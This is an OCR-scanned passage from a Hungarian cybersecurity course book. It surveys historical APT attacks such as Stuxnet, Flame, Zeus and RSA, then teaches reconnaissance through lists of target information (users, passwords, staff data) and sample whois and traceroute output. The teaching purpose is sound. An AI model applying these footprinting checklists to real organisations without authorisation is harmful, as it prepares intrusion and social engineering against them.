miikddni, ha a célszoftvert nem talalta meg, vagy ha a szoftver detektélt olyan védelmi eszkozt, ami
korlatozza a fertdzés terjedését.

Ez volt az els6 rosszindulati program, amely egy programozhato logikai vezérlé (PLC) rootkit-et
tartalmazott. A fertézést ugy tervezték, hogy 2012 juniusaban egy adott idépontban tordlje magat, igy
nehezitve meg a felderitését.

A Stuxnet-et gy tervezték, hogy eredetileg egy fert6zott USB meghajton keresztiil terjedjen, majd
mas kodokat (exploitokat) hasznaljon mas szdmitogépek megfertdzésére vagy frissitésére. A fertdzott
szamitogépeket két webhelyen keresztiil Daniabol és Malajziabdl iranyitottak.

A rosszindulati program négy kiilonb6z6 nulladik napi sériilékenységet kihasznal6 exploitot tar-
talmazott, ami azt mutatja, hogy a timadok jelentds anyagi eréforrassal rendelkeztek. Egy-egy ilyen
expoit kifejlesztése vagy megvasarlasa akar tobb szazezer dollér is lehet. A Stuxnet kodjanak mérete
¢s kifinomultsaga feltételezi, hogy a fejlesztési koltségek jelentdsek voltak, €s a fejlesztések tobb
emberévnyi munkat emésztettek fel.

A Stuxnet felfedezését kovetd években két Stuxnet utoddott is felfedeztek, a Duqu-t €s Flame-et,
ami arra utal, hogy ezek a timadasok egy folyamatos fejlesztési program részét képezték.

4.5. Duqu, flame

A Duqu-ot 2011-ben fedezték fel, és az elétag ~ DQ utan nevezték el, ami az altaluk 1étrehozott faj-
lok nevére utal. A kodot korlatozott szamu szervezetben talaltak meg, de volt koztiik ipari iranyitasi
rendszerek gyartasaban részt vevo szervezet is. Az elemzés azt mutatta, hogy a Duqu nagyon hasonlit
a Stuxnet-hez, ami azt sugallja, hogy ugyanazok a szerz6k vagy olyan forradsok hoztak létre, amelyek
hozzaférést kaptak a Stuxnet forraskodjahoz. A vezérld szerver cimeket szamos orszagban szétszor-
tak, koztiik Németorszagban, Belgiumban, Fiilop-szigeteken, Indidban és Kindban, ami arra utal,
hogy egyes helyszineket ugy valasztottak ki, hogy segitsenek a timadasok valddi forrasat elfedni.

A Duqu-ot gy tervezték, hogy informéciokat gylijtson és ne okozzon semmi kart. Az informéacio-
szerzés célja feltételezhetden egy jovibeni ipari rendszerek ellen végrehajtandd APT tdmadéas eldké-
szitése volt, mivel olyan informécidkat gyiijtott be és tovabbitott, mint az egyes rendszerek miiszaki
adatai vagy példaul billentytizet letitések.
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A Kaspersky Lab kutatoi ramutattak arra, hogy a kdd sok mas rosszindulatii programmal ellentét-
ben a professzionalisan eldallitott kereskedelmi szoftverekkel valo hasonlosagokat mutatott, ami azt
sugallja, hogy a szoftver fejlesztok készitették a kodokat, mintsem szamitdgépes hackerek.

A Duqu elemzése azt is megmutatta, hogy a rosszindulati program egy korabbi Tilded nevii plat-
formra épiilt (az altala 1étrehozott fajlnevek ~ d-janak koszonhetden), amelynek torténete 2007-ig
nyulik vissza.

A Flame-et 2012-ben Iran Nemzeti Szamitogépes Reagild Csapata (Iran’s National Computer
Emergency Response Team) fedezte fel. A kifinomult szamitogépes tamadas kozel-keleti orszagok-
ban miik6d6 korméanyzati minisztériumok, oktatasi intézmények és maganszemélyek elleni irdnyultak
Irdnban, Izraelben, Szudanban, Sziridban, Libanonban, Szaud-Ardbiaban és Egyiptomban. A timadas
célja egyértelmiien kémkedés volt. A Flame rosszindulatii programjai nagyok és bonyolultak voltak,
amelyeket helyi haldzatokon vagy USB-rétegeken keresztiil terjesztettek. Hangokat, képernydképe-
ket, billentylizetaktivitast és haldzati forgalmat rogzithet, beleértve a Skype beszélgetéseket is. Ezen-
kiviil képes volt ellopni az elérhetdségi adatokat barmely kozeli Bluetooth-kompatibilis eszk6zrdl.

A rosszindulata programot gy tervezték meg, hogy azonnal le lehessen allitani egy tavoli uta-
sitassal a kdzponti parancs- és vezérldszerveren. A tamadasok megsziintek, amikor a rosszindulata
program nyilvanossagra keriilt. A Washington Post szerint a Flame-t kozosen az Egyesiilt Allamok
Nemzeti Biztonsagi Ugyndksége (NSA), a CIA és az izraeli hadsereg kdzosen fejlesztette ki a felfe-
dezést megel6zd 6t évvel, bar ezt hivatalosan tagadtak.

4.6. larget

A Target kiskereskedelmi lanc ellen 2013-ban elkovetett tdimadas soran 40 millié bank és hitelkartya
adatot, valamint 70 milli6é egyéb adatot loptak el. Csak a kartydk wjra gyartasa tobb, mint 200 millio
dollar volt. A tdmadas el6tt hat honappal telepitette a Target a Fireeye malware detektald eszkozét,
amely ugyan detektalta a tamadast, de a szakemberek néhany védelmi funkciot kikapcsoltak, illetve
az eszk0zok altal generalt riasztasokat figyelmen kiviil hagytak. A tdmadéas nem kozvetleniil a Target
ellen indult, hanem az egyik beszallitojat kompromittaltak sikeresen egy phising tdmadas eredmé-
nyeként. A kompromittalodott hozzaférésekkel, sériillékenységek kihasznaldsaval jutottak a tdimadok
az érzékeny adatokhoz. A tdmadas sikerességéhez hozzajarult az is, hogy a Target haldzata nem volt
kelloképpen szeparalva, igy a tdmadok konnyedén tudjak az egyik halozati zonabol a masikba kozle-
kedni. A megszerzett adatokat késObb a fekete piacon kinaltak eladasra a timadok.

4.7. Zeus

Elséként 2007-ben fedezték fel a timadas nyomait, amikor az Egyesiilt Allamok Ko6zlekedési Minisz-
tériumanak informécioit elloptak. A Zeus egy trdjai, amely ellopja a banki €s hitelkartyas fizetésekhez
hasznalt bejelentkezési adatokat vagy a kozosségi halozatokba valo bejelentkezési adatokat. A Zeus
nem egy konkrét timadas egyetlen forrasbol, hanem egy teljes eszkdzkészlet, amely az APT-tdmadas
részeként a blin6zOk altal hasznalt automatizalt és kézi eszkozok széles skaldjat kinalja. A Zeus hasz-
nalataval 1étrehozott APT-k adathalasz e-mailen vagy egy fertdzott webhelyen torténd latogatas soran
az aldozatokra is kiterjedhetnek. A trdjai célja, hogy egy man-in-the-browser timadas sordn rogzitse a
billentytleiitéseket €s a felhasznalok webes lirlapadatait. Ezzel a technikaval végrehajtott tamadéasok
soran tobb tizezer FTP-fidk és tobb millié szamitogépet volt érintett.

2010-ben tobb mint 100 embert tartoztattak le az Egyesiilt Allamokban, az Egyesiilt Kiralysagban
¢s Ukrajndban, akik elkovették a banki csalds €s pénzmosas blincselekményeket, és akik a Zeust
hasznaltak fel 70 millio dollar ellopésara.

44



II. CELZOTT TAMADASI MODELLEK ES MUSZAKI VEDELEM LEHETOSEGEK

4.8. Rsa

2011 marciusaban, koriilbeliil egy honappal a vilag legnagyobb kiberbiztonsagi konferencidjanak
megszervezése utan az RSA (az EMC biztonsagi részlege) bejelentette, hogy sikeres APT tamadas
aldozata lett. Bar sok szakértd szerint ez a tdmadds nem ugyanabba a kategdriaba tartozik, mint a
kormanyok és a Fortune 500 cégek ellen irdnyulo kifinomultabb tdmadasok, abban azonban mindenki
egyetért, hogy egy professzionalis, célzott tiamadas volt egy nagy APT szerepl? altal.

Maga a tamadas viszonylag egyszerl volt, de hatékony: egy phishing e-maillel indult, amely egy
Adobe Flash biztonsagi rést hasznalt ki, a kdros kod egy csatolt tablazatba volt beagyazva. A behato-
las a bizalmas informaciok ellopasat eredményezte, koztiik az RSA legkelendébb SecurlD hitelesitési
nalt fel, amely akkoriban egy széles korben elérhetd tavoli hozzaférést biztosito trojai volt, amelyet
korabban elsdsorban a vegyipari és motorgyartd szektorban tevékenykedd vallalatoktol, valamint az
emberi jogi szervezetektdl szarmazo informaciok ellopasara hasznaltak.

A felfedezés sokkolta az informaciobiztonsaggal foglalkozd embereket, mivel a SecurlD az a ter-
mék, amely széles korben elterjedt és amelyet biztonsdg megteremtésének egyik alapkdvének tar-
tottak és amelyet szdmos Fortune 500 vallalat hasznalt. Nem sokkal az RSA tamadasa utan szamos
vallalato, beleértve a Lockheed Martin is, kdzolte, hogy internetes tdimadasokkal talalkoztak a halo-
zataikon. A tdmadasok koziil volt olyan, amiben klonozott RSA SecurID tokenbdl hamisitott kddokat
hasznaltak.

A tamadas kovetkezményei potencialisan nagyon karosak voltak mind az RSA, mind a biztonsagi
hitelesitési termék iigyfelei szdmara. Szerencsére az RSA gyorsan reagalt a karok csokkentésének
érdekében, azonnal tajékoztatta az ligyfeleket és javasolta, hogy tegyenek 1épéseket a SecurlD imple-
mentaciok megerdsitése érdekében. Az EMC arrodl szadmolt be, hogy legalabb 66 millio dollart koltott
a kdrmentesitésre. Az RSA vezetdi szerint egyetlen tigyfeliik haldzatot sem esett dldozatul az RSA-
tol kiszivargott informaciok miatt. Az incidens 700 szervezet érintett, s a Gartner elemzdje becslése
szerint az RSA 50-100 milli6 dollart fizetett az 1) tokenek potlasi koltségeiért.

4.9. Red October

A Kasperski Lab altal 2012-ben felfedezett Red October az elemzések alapjan mar 6t évvel a felfede-
zése elott elkezdett adatokat lopni kormanyzati szervektdl, diplomacia szervektdl kereskeddktol, ka-
tonai beszallitoktol, energetikai vallalatoktol, kutatdintézetektdl szerte a vilagon. A célpontok kozott
ott volt Oroszorszag mellett Iran, USA és még legalabb 36 orszag.

A Red October tobb platformon is miik6d6é adatlopasra lett tervezve. A platform alkalmas volt
routerek, switch-ek, mobil kommunikaci6 és kiilsd tarolo eszkdzok lehallgatasara kiilonb6z6 szoftver
rendszerekben. A malware képes volt hozzaférné a NATO, EU szervezetek titkositott adataihoz is.

Az elemzések soran feltarasra keriilt tobb, mint 30 modul, amelyeket kiilonb6zo feladatokra hasz-
naltak, mint példaul a tAmadott rendszeren 1év0 szoftverek azonositdsa, szamitogépek fertdzésére,
backdoor nyitasara, fajlok keresésére, informaciok 0sszegytiijtésére, hozzaférések lopasara, billentyli
letitések felvételére és az Osszegylijtott adatok feltdltésére a tdimado szerverére.

A kéd elemzése soran megallapitast nyert, hogy vélhetden a Red October nem Stuxnet (Flame,
Duqu) leszarmazottjai, azaz vélhetéen mas csoport készitette.

4.10. Hacking team, shadow broker
Az elmult iddszakban két olyan sikeres kibertamadas is tortént, amely sordn olyan szervezetektdl
loptak el érzékeny informaciot, amelyek olyan eszkdzoket készitettek, amelyek informacids rendsze-

rekbe torténd lathatatlan betorésre, tevékenység végzésére alkalmasak.
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Az els6 nyilvanosagra keriilt eset a Hacking Team tevékenységének kiszivargasa volt. A Hacking
Team az elérhetd informacidk alapjan titkosszolgalatoknak, allami szerveknek kinaltak olyan tech-
nikakat, amelyek segitségével lehetdségiik volt titkos megfigyelések végrehajtasara. A tamadok 400
gigabyte mennyiségii adatot loptak el és hoztak nyilvanossagra, amely nem csak tamado6 kodokat, ha-
nem levelezéseket, dokumentaciokat is tartalmazott. A kiszivarogtatott adatok mai napig elérhetdek.
Az eset soran volt magyar érintettségli kiszivargott adat.

A masik nagy nyilvanossagra keriilt eset a Shadow Broker hacker csoport altal elkdvetett tdmadas,
melynek sordn a tamadok feltételezhetéen az NSA-t6l loptak el hacker eszkdzoket, koztiik nulladik
napi sériilékenységeket kihasznald kodokat. Ezen kodok egy részét nyilvanossagra is hoztak. A ki-
szivarogtatott kodokat tobb esetben fel is hasznaltdk, melyek koziil 2017-ben két komoly (wannacry,
Petya) tamadast végre is hajtottak.

4.11. Ukran aramrendszer

2015. decemberében tortént az elsé energiaellato rendszer elleni sikeres kibertamadas. A tamadas 230
ezer embert érintett Ukrajndban, ahol egy és hat orai idtartam kdzott aram nélkiil maradtak. A tdma-
dasok orosz IP cimekrdl hajtottak végre. A tamadassal parhuzamosan még két masik vallalatot 1s ért
kisebb méretd tamadas.

A tamadas egy célzott email bekiildésével indult, amely sordn atvették az iranyitast a vallalat
informatikai rendszerén, ezt kovetden az ipari iranyito rendszert (SCADA) kapcsoltak ki, majd meg-
semmisitették az IT infrastruktirat, torolték onnan a fajlokat. Az ligyfélszolgalat tdimadésaval ellehe-
tetlenitették a fogyasztok informacidszerzésének lehetdségét.

Bar az ukréan energia rendszer elleni timadas nem volt klasszikus APT tdmadas abban az értelem-
ben, hogy nem hosszabb tavl informacidszerzés volt a cél, ugyanakkor a timadas soran olyan tech-
nikai megoldasokat alkalmaztak, amely fejlett technologiak koz¢é tartoznak.

Feltételezhetéen a tdmadas része az orosz-ukran kiberhaborinak, amelynek nem ez az egyetlen
lathat6 tAmadasa.

5. Osszefoglalo

A fejlett tamadasok jellemzo6i, hogy hosszu tervez6i munka elézi meg, a tdmadas sordn a tamado
olyan technikakat alkalmaz, amelyek a védelmi rendszerek szamara lathatatlanok. A tdmadas felfede-
zéséhez korszerli védelmi eszkozok, megfelelden felkésziilt szervezet sziikséges.

Az eddigi tamadasokbdl lesziirhetd tanulsagok:

» barmilyen szervezet dldozattd valhat, nincsenek olyan szervezetek, amelyek teljes biztonsag-
ba magukat még a legmagasabb biztonsag tudassal rendelkezd nagyon érzékeny anyagokat
kezelo vallalatok, allami szervek sem,

+ a felhasznalok tudatos viselkedése, az informéciobiztonsagi teriileten dolgozok magas szintli
tudasa nagymértékben csokkenthetik a fejlett timadasok sikerességét, csokkenthetik a sikeres
tamadas felismerésének idejét,

+ aszervezetek kozotti egylittmiikddés, informaciddramlas sokat segithet a megeldzésben,

» atobbrétegli és 11j technoldgidkon alapulé védelem nélkiilozhetetlen a biztonsag megterem-
tésében,

* a gyors azonositas és valaszadas lehetdvé teszi a behatolds azonnali megakadalyozasat, a
karok csokkentését. A gyors, hatarozott €s dszinte cselekedett miniméalisra csokkenti az igy-
felekre gyakorolt hatést, a negativ kovetkezményeket.
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II1. SZARVAK ANIKO:
FELDERITES / CELZOTT KIBERTAMADASOK

1. Korlatozasok

A felderités, célzott timadasok tananyagban bemutatott technikak oktatési, ismeretterjesztési és tu-
datositasi célokat szolgalnak. A bemutatasra keriild eszk6zok, azok felhasznalasdnak modjainak is-
merete hozzasegiti a biztonsag fenntartasaért felelds, az informécié védelem tertiletén tevékenykedo
szakemberek és lizemeltetok tevékenységének hatékony elvégzését.

A bemutatott eszk6zok, szoftverek, szoftver-kornyezetek ¢s technikak, technoldgidk a halozatbiz-
tonsag fenntartasat, a halozat lizemeltetését, ellendrzését segitd alkalmazasok, amelyek miikodésiik-
bdl fakadoan felhasznalhatok informacioszerzésre, a jelen tananyagban megfogalmazottak szerint és
azon tal is.

A bemutatott technikdk haszndlata bizonyos koriilmények kozott tilos és torvénybe iitkdzd lehet,
ezért gyakorlasuk specidlis kdrnyezetet vagy megfelel felhatalmazast igényelhet.

A fentiek alapjan az oktatasi céli dokumentacid szerzoi €s kiadoja semmilyen feleldsséget nem
vallal a jelen oktatasi anyagban bemutatott, szabadon, ingyenesen vagy liszenszelt modon elérhetd
eszk6zok, szoftverek, szoftver-kdrnyezetek, technikak és technoldgiak tovabbi felhasznalasaért.

Jelen oktatédsi anyag etikus modon torténd tovabbi felhasznalésa az olvaso, felhasznal6 feleldssége.

2. Informaciogyijtés attekintése

Az informaciogylijtés — vagy felderités — az a technika, amelyet az informécié megszerzésére iranyul,
informatikai rendszerekkel kapcsolatban az az informacio, amely a rendszerek, informatikai eszko-
z0khoz kapcsolodo adatokat jeloli. Az informaciohoz vald hozzajutas érdekében a hacker valtozatos
eszkozoket és technikéakat alkalmazhat. Ezek az informacidk nagy értéket képviselnek olyan szemé-
lyeknek, akik be akarnak torni egy informatikai rendszerbe.

Az informacidgytjtés (footprinting) az informatikai biztonsagi terminoldgiaban a felderitést, meg-
figyelést foglalja magaba és altaldban egy megel6zo 1épése a tamadasoknak. A footprinting kortilte-
kintden ¢és teljeskoriien kivitelezett 1épései megeldzik a tényleges tamadast. A felderitésre hasznalt
eszk6zok (példaul nslookup, traceroute vagy nmap) tobbnyire megegyeznek azokkal az eszkozokkel,
amelyek a haldzat vagy informatikai rendszerek (kiszolgalok) miikddésének ellendrzésére szolgalnak
azok lizemeltetoi korében.

A felderités célja annak feltarasa, hogy az informacids rendszerben melyek azok a sériilékeny ele-
mek, amelyek 6nalldan vagy Osszességeében egy sikeres tdmadas kivitelezéséhez vezethetnek. A fel-
derités, megfigyelése az informacids rendszernek — a sikeres tamadas érdekében — észlelés nélkiil
akar honapokon, sot éveken keresztiil is folyhat, a felderités valodi idObenisége, a timadas pontos
kezdete célzott kivizsgalas és megfeleld bizonyitékok hidnyaban j6l nem meghatarozhato.
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2.1. Az informdciogyiijtes célja

A felderités vagy informaciégyiijtés nem oncélu tevékenység. A sikeres tamadas végrehajtasahoz,
azaz az adatok eltulajdonitdsdhoz, a szolgaltatds mitkodésének leallitasahoz vagy korlatozasdhoz
olyan adatokra van sziikség, amelyek birtokdban a tdmadast végre lehet hajtani.

A végrehajtas — exploitalas — alapvetd sziikséglete, hogy rendelkezésre alljon egy kihasznalhato
sériilékenység, amely végiil a sikeres tdmadashoz vezet. A sériilékenységek — bizonyos esetekben
egymasra épiild, egymast erdsitd sériilékenységek — feltarasdhoz ismerni kell a timadas célpontjanak
informatikai eszkozeit, halozatat, hasznalt alkalmazasait, mind kiszolgal6i oldalon, mind kliens ol-
dalon. Ezen kiviil fontos, hogy a tdmado tisztdban legyen bizonyos szervezési informaciokkal, mint
a tarsasag architektirdja, az informdcio €s a tarsasag tizleti mikodéséhez hasznalt védelmi mecha-
nizmusok, illetve a szervezeti informaciokkal, mint a szervezeti hierarchia vagy a belsé folyamatok.

Informéciogytjtés elemeit harom 6 tipusba lehet sorolni aszerint, mi a célja, milyen informacio
gyljtése torténik a végrehajtas soran.”® Ezek:

* Halozati informaciok,
* Rendszerinformaciok,
» Szervezeti informaciok.

A fejezet tovabbi részeiben a fenti tipusokba tartoz6 informéciogytijtési technikdk mélyebb bemu-
tatasa torténik.

2.2. Halozati informaciok

A szamitdgép halozat kifejezésen autonom szamitdogépek dsszekapcesolt rendszerét értjiik. Az Gssze-
kapcsolt halézat fizikai szempontbol kiilonb6z6é modon valdésulhat meg, mint példaul rézhuzal, 1ézer
sugar, mikrohullam vagy akar tavkozlési mithold. Informacidszerzés szempontjabol a cél a halozat
sérilékenységének felderitése.

A haloézatok alapos vizsgalatanak tobb, a timadas szempontjabol 1ényeges eredménye lehet:

* A haldzat felépitésére, miikodésére utald informacié — amely alapjan meghatarozhat6, hogy
az informacié megszerzéséhez milyen tipusu tdmadas vezethez sikerhez.

» Azoknak a be- és kilépési pontok azonositdsa, amelyen keresztiil a timadas sikeresen végre-
hajthaté — ezek lehetnek azok az atjardk, amelyeken az informacidk védelmére alkalmazott
megoldasok ,,gyengébbek”, példaul a sikeres tamadas nem indukal azonnal riasztast.

* A halézaton elérhetd er6forrasok azonositasa — azon informatikai eszkdzok felderitése, ame-
lyek tdmadasa sikeresen megtorténhet, a rajtuk talalhatd, kihasznalhato sériilékenység miatt.

» Azoknak a halézaton miikodod eréforrasoknak az azonositasa, amelyek miikddésiik soran to-
vabbi informécioval szolgalhatnak az informacié megszerzésére iranyuld tdmadas kivitele-
zésében.

A sikeres tamadashoz sziikséges informacio begytijtésének egyik hatékony modja a haldzat meg-
figyelése, felderitése. A masik hatékony modja a haldzaton talalhatéd informatikai eszk6zok, kiszolga-
16k, halozati szempontbodl aktiv vagy passziv elemek meghatarozasa.

Halozati informaciok gyijtése:

* Domain nevek

* Belso domain hasznalat

» Halozati szegmensek

* Az elérhetd halozatok IP cimei

* (Csal6 vagy személyes weboldalak

» Alkalmazasok szolgaltatdsainak portjai

% Certified Ethical Hacker Version 8 Study Guide.
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* Hozzaférés-vezérlési mechanizmusok és ACL-ek
* Halozati protokollok

* VPN bejaratok

» Fut6 IDS szolgaltatasok

* Analog és digitalis telefonszamok

» Jogosultsagkezelési mechanizmusok

* Rendszerek Osszegylijtése (system enumeration)

2.3. Rendszer informaciok

A halozaton talalhaté autondm eszkdzokrol gytijthetd adatok nagyban befolyasoljak a tdmadas sike-
rességét. A halozat miikodését biztosito ,,halozati eszkdozok™, a hubok, switchek, routerek, az elérhe-
t0 kiszolgald szamitogépek, alkalmazasok azonositdsa, a halozatra kotott egyéb eszkozok, példaul
nyomtatok meghatarozésa, illetve az informaci6 védelmére bevezetett védelmi eszkdzok, mechaniz-
musok pontos azonositasa mind-mind értékes adatot jelenthetnek a sikeres tdmadas tervezésében,
kivitelezésében.

A halozatba kotott eszk6zokrdl gytlijtott adatok alapos vizsgalata a kovetkezd eredményt hozhatja:

» Az informacidt tartalmazd eszkdzok pontos azonositdsa — annak feltdrasa, hogy az adott ha-
16zati vagy kiszolgdlo eszkdz milyen sériilékenységeket tartalmaz.

* Azeszkoz miikddésének egyértelmii meghatarozasa — azaz annak meghatarozasa, hogy van-e
olyan tervezési hidnyossaga a hasznalt eszkdznek, amely hozzaférést biztosithat az informa-
cidéhoz.

* Az eszk6zok kozotti kommunikécio felderitése — amely lehetdséget biztosit tobbek kozott a
lehallgatasra vagy a ,,MITM” tipust tamadasok kivitelezésére.

A megszerzett rendszer informacidk lehetdséget biztositanak arra, hogy a hosszii megfigyelést
kovetden gyors, vagy sokaig felderitetleniil marad6 tamadas keriiljon kivitelezésre. A felderitetlen
tamadasok egyik alapvetd feltevése, hogy a belsé halozatok zartak, azaz kiils6 tdmadastol elégséges
mértékben védett. Ez a feltevés és az informacids rendszerek nem informatikai komponense a felde-
rités harmadik célpontja.

Rendszerinformacidk dsszegylijtése:

» Felhasznalok és csoportok

* Rendszer bannerek

* Routing informaciok

*  SNMP informaciok

* Rendszerek architektiraja

» Tavoli rendszerek tipusai

* Rendszerek nevei

» Jelszavak

2.4. Szervezeti informaciok

A sikeres tamadas kivitelezéséhez, vagy a halozati illetve a rendszer informéciok felderitéséhez bi-
zonyos esetekben a halozatot hasznal6 szervezet feltérképezésére is sziikség lehet. Az informacio
védelme érdekében a halozatok és rendszerek kelld zartsdga mellett a sikeres tamadas kivitelezéséhez
az emberi tényez6, mint leggyengébb lancszem sériilékenységének kihasznalasa sziikséges.
Szervezeti informaciok feltdrasara a szervezetben dolgozo (természetes) személyek altal hasznalt,
napjainkban elterjedt kzosségi halok profiljai vagy keresdmotorok informacioi alapjan az un. Social
Engineering témakorébe tartozik, de nem szabad elfelejtkezni arrol, amit a megfigyelt cégek szandé-
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kosan osztanak meg magukrol, vagy véletlentl, esetlegesen tudtukon kiviil szolgéltatnak az avatott
felderitdknek:

Publikus céginformécid — a cég vezetd tisztségviseldinek adatai, elérhetdségei, a cég struktirija,
felépitésérol ad informaciot a megosztott publikus céginformacié. Ebbol nemcsak a vezetok adatai,
de a cég tulajdonosi hattere is meghatarozhatd. Ez alapjdn meg lehet hatarozni a tdimadas lehetséges
célpontjait, akar a vezetOk személyében, akar a tovabbi informaciok alapjan a lednyvallalatokban
vagy az anyavallalat — vagy azok kapcsolataiban.

Bemutatkoz6 oldalak — hasonldan a kapcsolati halokon talalhatd, publikusan vagy privat médon
megosztott adatlapokon taldlhaté informaciok a cégek egyes bemutatkoz6 oldalain is érzékeny, a
sikeres tamadast eldsegitd informacidkat lehet megosztani.

Metaadatok — a tarsasagok weboldalain tovabbi informacio is megtalalhat6, amely befolyasolja a
kivitelezend6 sikeres tdmadast az érzékeny informaciok ellen. Social Engineering soran jol hasznosit-
hatéak a megosztott dokumentumok készitdinek adatai, példaul megszemélyesitéses timadas esetén,
de emellett fellelhetd példaul a készitéshez hasznalt szoftver, esetlegesen a tarsasag belsé informéci-
oOtarolasra hasznalt elérési utvonalai.

Szervezeti informacidk gytijtése:

» Alkalmazottak részletes informacioi

* Aszervezet weboldala

» Céges szervezeti felépités

» Telephely informéciok

* Cimek és telefonszamok

* Megjegyzések a weboldal HTML forrasadban
» Bevezetett biztonsagi szabalyozasok

» A szervezethez kapcsolhatd weboldal linkek
* A szervezet hattere

* Hirekben tortént megjelenések

» Sajtokiadvanyok

3. Informaciogyiijtés osztalyozasa

Az informaciogylijtést osztalyozhatjuk nemcsak a célja, de felderithetdsége alapjan is. Az informa-
ciogyljtést tehat megkiilonboztetjiik:

* Passziv informaciogytijtés,

» Aktiv informaciégytijtés.

3.1. Passziv informdciogytijtés

Passziv informaciogytijtés a legkevésbé agressziv modszer. Alapjaban véve a folyamat tamaszkodik
azokra az informdciokra és forrasokra, amelyek publikusan és széles korben elérhetdek. A forrasok
kozott tobbnyire Ujsagok, weboldalak, forum beszélgetések, kozzétételek, kozosségi oldalak €s tobbi
hasonl6 forrasok lehetnek.

A passziv informaciogytijtéssel legtobb esetben az informacidt keresd fedett tud maradni, a cél-
ba vett tarsasag, képviseldi, kapcsolodo tarsszervezetek az informaciogylijtésbol szinte semmit nem
¢észlelnek, hiszen a roluk szold informacidk nem kozvetleniil téliikk keriilnek gytijtésre. Alapos és
kortltekint6 eljarasokkal a gyakorlott informaci6 gytijté akar a tarsasag belsd rendszereire vonatko-
zoan is informaciokat szerezhet, mint példaul a hasznalt operacios rendszerek, egy részlegen dolgozo
kollégak személye, webszerver €s egyéb adatok.

Ide tartozik példaul a Google advanced operatorok hasznélata, vagy az archivumok keresése.
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3.2. Aktiv informdciogytijtés

Az aktiv informaciogyiijtés nem tud hosszll idon keresztiil fedetlen maradni, hiszen az itt hasznalt
informaciogyujtési technikak kifejezetten a tarsasag haldzata, informatikai rendszere, kliensei megfi-
gyelésére iranyulnak, igy ezeket a technikékat észlelni lehet.

Ilyen felderités lehet egy NESSUS vagy NMAP vizsgalat, de feltlinést okozhat egy weboldal
atnézése is.

A tamadasok eldkészitése soran mindkét tipust informaciogytijtéssel megszerezhetd informaciora
sziikség van, ezért az aktiv informécidgytijtés esetén a végrehajtando vizsgalatok gondosan megter-
vezettek és sokszor fedett, anonim modon, pl TOR hélozatbol vagy proxy-k héalozatanak igénybevé-
telével torténnek.

4. Halozati Informaciogyijtés technologiai
4.1. Felderites

A haldzati felderités fontos pontja minden timadas elokészitésének. Ez az els6 1€pése a szamitdogépes
halozatok, alkalmazasok elleni tamadasnak, a tamado Osszegytijt minden, rendelkezésre allo, pub-
likus és érzékeny informaciot. Ez az a folyamat, amelyben annyi informéciot gytlijtenek a tdmadas
célpontjarol, amennyit csak lehet annak érdekében, hogy azonositsdk azokat a timadhat6é pontokat,
amelyeken keresztiil be lehet hatolni a célpont halozataba.
* A tamado szamadra lehetdvé teszi az informaciogytijtés, hogy felderitse, milyen védelmi me-
chanizmusok vannak ¢€letbe 1éptetve a célpont kiilsé haldzatan.
» Ezzel lesziikiti a timado a tAmadasi lehetdségeket specifikus haldzati szegmensekre, IP tarto-
manyokra, halézatokra, domain-ra, tavoli hozzaférési pontokra.
* A tamado szdmadra lehetové teszi, hogy azonositson sériilékenységeket a célpont rendszerei-
ben, hogy ezeken keresztiil hajthasson végre sikeres tamadast.
» Biztositja a lehetdséget, hogy feltérképezze a célpont halozati infrastruktarajat, ennek birto-
kaban hajtson végre sikeres tamadast.

A felderités lépései:
4.1.1. A hdlozat azonositdsa

A hélozatok azonositasanak elsd 1épése, hogy meghatarozasra kertil a halozati zona. A halozat mére-
tének felmérésével lehet feltérképezni és meghatarozni a tdmadés célpontjat és behatarolni azokat a
halozati szegmenseket, amelyek tovabbi vizsgalatnak lesznek alavetve.

Whois adatbazis hasznalata:

Internet iranybol elérhetd IP cimek azonositasa és tulajdonosok, felhasznalok adatbazisa a Whois,
amely nemcsak IP cimeket, de akar teljes IP tartomanyok azonositasara is szolgal.

shadowcat:~ admin$ whois 8.8.8.8

% IANA WHOIS server

% for more information on IANA, visit http://www.iana.org

% This query returned 1 object

refer: whois.arin.net
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inetnum: 8.0.0.0 - 8.255.255.255

organisation: Level 3 Parent, LLC

status: LEGACY

whois: whois.arin.net

changed: 1992-12

source: TIANA

NetRange: 8.8.8.0 - 8.8.8.255

CIDR: 8.8.8.0/24

NetName: LVLT-GOGL-8-8-8

NetHandle: NET-8-8-8-0-1

Parent: LVLT-ORG-8-8 (NET-8-0-0-0-1)
NetType: Reallocated

OriginAS:

Organization: Google LLC (GOGL)

RegDate: 2014-03-14

Updated: 2014-03-14

Ref: https://whois.arin.net/rest/net/NET-8-8-8-0-1
OrgName: Google LLC

OrgId: GOGL

Address: 1600 Amphitheatre Parkway

City: Mountain View

StateProv: CA

PostalCode: 94043

Country: USs

RegDate: 2000-03-30

Updated: 2017-12-21

Ref: https://whois.arin.net/rest/org/GOGL
OrgAbuseHandle: ABUSE5250-ARIN

OrgAbuseName: Abuse

OrgAbusePhone: +1-650-253-0000

OrgAbuseEmail: network-abuselgoogle.com
OrgAbuseRef: https://whois.arin.net/rest/poc/ABUSE5250-ARIN
OrgTechHandle: ZG39-ARIN

OrgTechName: Google LLC

OrgTechPhone: +1-650-253-0000

OrgTechEmail: arin-contact@google.com

OrgTechRef: https://whois.arin.net/rest/poc/ZG39-ARIN

A whois lekérdezés alapjan azonosithato, hogy a keresett IP cim — 8.8.8.8 — milyen tartomanyban
—8.0.0.0/8 — ¢és kinek a hasznalataban van — Google LLC.

4.1.2. Az elérési utvonalak meghatdrozdsa
A Traceroute program az ICMP protokoll haszndlatan alapszik és a halozaton kiildott TTL mezdket az
ICMP csomagokbol annak érdekében, hogy felderitse, milyen haldzati eszk6zok vannak a cél hoszt

¢s a tamado gépe kozott. Ez alapjan lehet feltérképezni, hogy a tdmadas milyen, nem a célponthoz
tartozo halozati kozvetitd elemeken haladhat at.
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Példa a Traceroute hasznalatara:

shadowcat:~ admin$ traceroute 8.8.8.8

traceroute to 8.8.8.8 (8.8.8.8), 64 hops max, 52 byte packets

1 192.168.X.1 (192.168.X.1) 10.458 ms 1.842 ms 9.923 ms

2 192.168.X.1 (192.168.X.1) 23.907 ms 10.693 ms 18.894 ms

3 10.229.64.1 (10.229.64.1) 19.745 ms * 14.007 ms

4 145.236.79.250 (145.236.79.250) 20.176 ms 22.323 ms 19.901 ms
5

81.183.3.138 (81.183.3.138) 20.045 ms

81.183.3.136 (81.183.3.136) 29.759 ms *
6 81.183.3.139 (81.183.3.139) 14.730 ms

81.183.3.161 (81.183.3.161) 30.267 ms

81.183.3.137 (81.183.3.137) 14.358 ms
7 81.183.2.217 (81.183.2.217) 29.965 ms 50.338 ms 25.956 ms
8 72.14.238.27 (72.14.238.27) 29.546 ms
